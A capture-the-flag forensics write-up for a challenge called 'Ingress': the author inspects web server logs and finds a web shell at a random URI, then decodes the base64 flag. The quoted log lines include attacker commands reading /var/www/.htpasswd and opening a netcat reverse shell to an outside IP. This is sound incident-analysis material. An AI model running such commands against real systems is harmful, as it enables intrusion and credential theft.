  ## 1 - Ingress
> Our website was hacked recently and the attackers completely ransomwared our server!> We've recovered it now, but we don't want it to happen again.> Here are the logs from before the attack, can you find out what happened?
We start inspecting some log fields, looking for something uncommon. For example, in the [`cs(Referer)` field](https://en.wikipedia.org/wiki/HTTP_referer):```shell$ awk '{print $(NF-4)}' attack.log | sort | uniq -c | sort -nr   6947 -   1343 https://digitaloverdose.tech/dovercon/sponsoring-edition-2021   1318 https://digitaloverdose.tech/dovercon/2021/speakers   1286 https://digitaloverdose.tech/dovercon/2021/code-of-conduct   1278 https://digitaloverdose.tech/dovercon/2021/about   1268 https://digitaloverdose.tech/dovercon/2021   1262 https://digitaloverdose.tech/privacy   1255 https://digitaloverdose.tech/ctf/2021-autumn   1230 https://digitaloverdose.tech/team   1225 https://digitaloverdose.tech/faq   1224 https://digitaloverdose.tech/dovercon/2021/cfp   1214 https://digitaloverdose.tech/copyright   1213 https://digitaloverdose.tech/ctf/2021-spring   1210 https://digitaloverdose.tech/dovercon   1210 https://digitaloverdose.tech/conference	1208 https://digitaloverdose.tech/dovercon/2021/sponsoring   1206 https://digitaloverdose.tech/dovercon/cfp-edition-2021   1205 https://digitaloverdose.tech/dovercon/team-edition-2021   1204 https://digitaloverdose.tech/home   1202 https://digitaloverdose.tech/ctf/about   1197 https://digitaloverdose.tech/   1194 https://digitaloverdose.tech/ctf   1149 https://digitaloverdose.tech/dovercon/schedule-edition-2021   1149 https://digitaloverdose.tech/dovercon/2021/mentors   1135 https://digitaloverdose.tech/dovercon/2021/schedule   1118 https://digitaloverdose.tech/dovercon/2021/team   1090 https://digitaloverdose.tech/dovercon/speakers-edition-2021      7 https://digitaloverdose.tech/ywesusnz      1 cs(Referer)```
What is that `ywesusnz`? Let's look which requests were made from that URI:```shell$ grep ywesusnz attack.log2021-09-06 20:44:19 135.233.142.30 GET ywesusnz cmd%3Dcd+.. 443 - 20.132.161.193 Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.0;+Trident/5.0) https://digitaloverdose.tech/faq 200 0 0 202021-09-06 20:44:45 135.233.142.30 GET ywesusnz cmd%3Dpwd 443 - 20.132.161.193 Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.0;+Trident/5.0) https://digitaloverdose.tech/ywesusnz 200 0 0 262021-09-06 20:45:04 135.233.142.30 GET ywesusnz cmd%3Dwhoami 443 - 20.132.161.193 Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.0;+Trident/5.0) https://digitaloverdose.tech/ywesusnz 200 0 0 252021-09-06 20:45:16 135.233.142.30 GET ywesusnz cmd%3Dhostname 443 - 20.132.161.193 Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.0;+Trident/5.0) https://digitaloverdose.tech/ywesusnz 200 0 0 252021-09-06 20:45:46 135.233.142.30 GET ywesusnz cmd%3Dnetstat+-peanut 443 - 20.132.161.193 Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.0;+Trident/5.0) https://digitaloverdose.tech/ywesusnz 200 0 0 212021-09-06 20:46:04 135.233.142.30 GET ywesusnz cmd%3Dcat+%2Fvar%2Fwww%2F.htpasswd 443 - 20.132.161.193 Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.0;+Trident/5.0) https://digitaloverdose.tech/ywesusnz 200 0 0 222021-09-06 20:46:12 135.233.142.30 GET ywesusnz cmd%3Dcat+RE97YmV0dGVyX3JlbW92ZV90aGF0X2JhY2tkb29yfQ== 443 - 20.132.161.193 Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.0;+Trident/5.0) https://digitaloverdose.tech/ywesusnz 200 0 0 262021-09-06 20:46:19 135.233.142.30 GET ywesusnz cmd%3Dnc+-e+%2Fbin%2Fsh+207.35.160.84+4213 443 - 20.132.161.193 Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.0;+Trident/5.0) https://digitaloverdose.tech/ywesusnz 200 0 0 20$ echo RE97YmV0dGVyX3JlbW92ZV90aGF0X2JhY2tkb29yfQ== | base64 -dDO{better_remove_that_backdoor}```